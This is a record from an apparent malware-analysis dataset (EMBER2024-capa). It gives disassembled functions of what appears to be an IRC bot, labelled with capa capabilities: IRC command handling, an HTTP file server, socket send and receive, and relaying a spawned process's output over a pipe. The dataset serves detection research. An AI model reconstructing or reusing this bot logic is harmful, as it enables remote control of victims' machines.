joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404a7d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0x1f4
mov dword [esp + 4], 0
mov dword [esp], 0x45fd80
call sym._memset
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x45fd80
call sym._strcpy
mov eax, dword [0x45ff74]
test eax, eax
jne 0x404afc
mov dword [0x45ff78], 1
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x14]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._identserv_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x45fd80
call sym._create_sock
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x404b1f
mov eax, 0
jmp 0x404b58
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._irc_read
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jne 0x404b38
jmp 0x404ab2
cmp dword [ebp - 0x10], 3
jne 0x404b55
mov eax, dword [0x420450]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x404ab2
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x404b5a
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [esp + 8], 0xfa
mov dword [esp + 4], 0
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x64
mov dword [esp + 4], 0
mov dword [esp], 0x42a060
call sym._memset
mov dword [esp + 4], 0x42044c
lea eax, [ebp - 0x102]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
test eax, eax
je 0x404bd2
lea eax, [ebp - 0x102]
mov dword [esp + 4], eax
mov dword [esp], 0x42a0e0
call sym._strcpy
mov dword [esp + 4], 0x421520
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._strtok
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x404c42
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._strlen
cmp eax, 0x14
ja 0x404c42
mov dword [esp + 4], str.Administrator
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x404c42
mov dword [esp + 4], str.Default
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x404c49
call sym._randnick
jmp 0x404c9f
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sym._srand
call sym._rand
mov ecx, eax
mov edx, 0xa57eb503
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x63
mov eax, ecx
sub eax, edx
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x102]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_i
mov dword [esp], 0x42a060
call sym._sprintf
nop
nop
leave
ret
Function at 0x406142
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.0040ec80
sub esp, eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0xc]
add eax, edx
mov word [eax], 0xa29
mov byte [eax + 2], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0xc]
add eax, edx
mov word [eax], 0xd
mov eax, 0x460e20
movzx eax, byte [eax]
test al, al
jne 0x4061b5
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424a38
lea eax, [ebp - 0x1004]
mov dword [esp], eax
call sym._sprintf
jmp 0x4061e1
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x460e20
mov dword [esp + 4], str.PRIVMSG__s_:__s_
lea eax, [ebp - 0x1004]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1004]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x1004]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x406240
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x460e20
call sym._memset
mov dword [0x460e04], 0
mov eax, 0
leave
ret
Function at 0x406a1f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x638
mov dword [ebp - 0xc], 0
jmp 0x406bb4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e094]
mov dword [esp + 4], str._NICK
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x406b47
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e094]
mov dword [esp + 4], eax
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], str._NICK
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 4], str._NICK
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 5
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x42a060
lea eax, [ebp - 0x610]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_n
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._sprintf
jmp 0x406b6b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e094]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424bf2
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x410]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e094]
test eax, eax
jne 0x406a34
nop
nop
leave
ret
Function at 0x406bca
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x638
mov dword [ebp - 0xc], 0
jmp 0x406d5e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e09c]
mov dword [esp + 4], str._CHAN
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x406cf1
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e09c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], str._CHAN
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 4], str._CHAN
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 5
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x610]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_n
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._sprintf
jmp 0x406d15
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e09c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424bf2
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x410]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e09c]
test eax, eax
jne 0x406bdf
nop
nop
leave
ret

Function at 0x406d74
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
mov word [eax], 0xa
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._memset
cmp dword [ebp + 0xc], 0
je 0x406dde
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
jmp 0x406df3
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 0
leave
ret
Function at 0x406e2e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2158
call fcn.0040ec80
sub esp, eax
mov eax, dword [0x45fd00]
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x45fb80
lea eax, [ebp - 0x1028]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x45fcf4]
mov dword [ebp - 0x10], eax
mov dword [0x45fd0c], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1028]
mov dword [esp], eax
call sym._create_sock
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x406e95
mov eax, 0
jmp 0x406fb0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x1014]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x1014]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jg 0x406eeb
mov eax, 1
jmp 0x406fb0
mov dword [esp + 8], 0xfff
lea eax, [ebp - 0x1014]
mov dword [esp + 4], eax
lea eax, [ebp - 0x212c]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x421520
lea eax, [ebp - 0x1014]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 4], 0x42480f
lea eax, [ebp - 0x1014]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 4], 0x42480f
lea eax, [ebp - 0x212c]
mov dword [esp], eax
call sym._strtok
lea eax, [ebp - 0x212c]
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x406faa
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x212c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1014]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._read_command
cmp eax, 1
jne 0x406e95
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
nop
jmp 0x406e95
leave
ret 4
Function at 0x4082d3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x216]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x40832a
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x216]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._Listen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40835d
mov eax, 0xffffffff
jmp 0x40843f
mov dword [ebp - 0xc], 0
jmp 0x40837e
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
test eax, eax
je 0x408386
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x27
jle 0x408366
jmp 0x408387
nop
cmp dword [ebp - 0xc], 0x27
jle 0x4083a7
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x40843f
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x18]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._HTTP_server_thread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40843c
lea eax, [ebp - 0x216]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Server_listin_port:__i_root_dir:__s_
lea eax, [ebp - 0x112]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x216]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 3
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x112]
mov dword [esp], eax
call sym._addthread
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x408a15
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12d8
call fcn.0040ec80
sub esp, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x46988c]
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x4698a0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4699c0
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x469890]
mov dword [ebp - 0x14], eax
mov dword [0x469894], 1
cmp dword [ebp - 0x10], 0
je 0x408a8e
mov dword [esp + 4], str.text_html
lea eax, [ebp - 0x24e]
mov dword [esp], eax
call sym._sprintf
jmp 0x408aa4
mov dword [esp + 4], str.application_octet_stream
lea eax, [ebp - 0x24e]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x14], 0x46
lea eax, [ebp - 0x1294]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.ddd__dd_MMM_yyyy
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x409
mov eax, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0x1e
lea eax, [ebp - 0x12b2]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.HH:mm:ss
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x409
mov eax, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x12b2]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x1294]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x24e]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x12b2]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1294]
mov dword [esp + 8], eax
mov dword [esp + 4], str.HTTP_1.0_200_OK_r_nServer:_TechBot2.1_r_nDate:__s__s_GMT_r_nContent_Type:__s_r_nAccept_Ranges:_bytes_r_nLast_Modified:__s__s_GMT_r_nContent_Length:__i_r_nConnection:_close_r_n_r_n
lea eax, [ebp - 0x124e]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x124e]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x124e]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebp - 0x10], 0
jne 0x408bba
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._http_send_file
jmp 0x408be1
lea eax, [ebp - 0x21c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._getfiles
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret 4
Function at 0x40901d
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [ebp - 0x420], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4091a4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x40917f
mov dword [ebp - 0x10], 0x400
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x41c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jae 0x4090d0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x420]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x41c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x41c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x409179
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x40918b
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40909d
jmp 0x40918c
nop
cmp dword [ebp - 0x18], 0xffffffff
je 0x4091a7
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x4091a7
nop
jmp 0x4091a8
nop
leave
ret
Function at 0x40a349
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
mov dword [ebp - 0x414], 0x1e
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x518], 0
mov dword [ebp - 0xc], 0
jmp 0x40a38c
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x514]
cmp dword [ebp + 8], eax
je 0x40a397
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x518]
cmp dword [ebp - 0xc], eax
jb 0x40a379
mov eax, dword [ebp - 0x518]
cmp dword [ebp - 0xc], eax
jne 0x40a3c9
mov eax, dword [ebp - 0x518]
cmp eax, 0x3f
ja 0x40a3c9
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x514], edx
mov eax, dword [ebp - 0x518]
add eax, 1
mov dword [ebp - 0x518], eax
lea eax, [ebp - 0x414]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x518]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
test eax, eax
jg 0x40a419
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x40a482
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], 0x469ae0
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x469ae0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jg 0x40a468
mov eax, 0xffffffff
jmp 0x40a482
mov eax, dword [0x420464]
mov eax, dword [eax]
cmp eax, 0x52525245
jne 0x40a47d
mov eax, 0xffffffff
jmp 0x40a482
mov eax, 0
leave
ret
Function at 0x40aed6
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x45fd10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x200
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call eax
sub esp, 0x18
test eax, eax
jne 0x40af6a
mov eax, dword [0x45fd20]
mov dword [esp + 8], str.Could_not_read_data_from_proccess
mov dword [esp + 4], 0x45fd40
mov dword [esp], eax
call sym._pipe_send
mov eax, 0
jmp 0x40b0c4
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40afe0
mov eax, dword [0x45fd18]
lea edx, [ebp - 0x21c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call eax
sub esp, 8
test eax, eax
je 0x40afca
mov eax, dword [ebp - 0x21c]
cmp eax, 0x103
je 0x40afca
call sym._Close_Handles
mov eax, dword [0x45fd20]
mov dword [esp + 8], str.Proccess_has_terminated
mov dword [esp + 4], 0x45fd40
mov dword [esp], eax
call sym._pipe_send
mov eax, 0
jmp 0x40b0c4
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40aedf
mov dword [ebp - 0x10], 0
jmp 0x40b008
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
jne 0x40b004
mov dword [ebp - 0xc], 1
jmp 0x40b010
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x10], eax
jb 0x40afe9
cmp dword [ebp - 0xc], 0
je 0x40b021
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x40b028
mov dword [ebp - 0x18], 0x200
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._memset
mov edx, dword [ebp - 0x18]
mov eax, dword [0x45fd10]
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0x14]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x40b0a0
mov eax, dword [0x45fd20]
mov dword [esp + 8], str.Could_not_read_data_from_proccess
mov dword [esp + 4], 0x45fd40
mov dword [esp], eax
call sym._pipe_send
mov eax, 0
jmp 0x40b0c4
mov eax, dword [0x45fd20]
lea edx, [ebp - 0x218]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x45fd40
mov dword [esp], eax
call sym._pipe_send
jmp 0x40aedf
leave
ret 4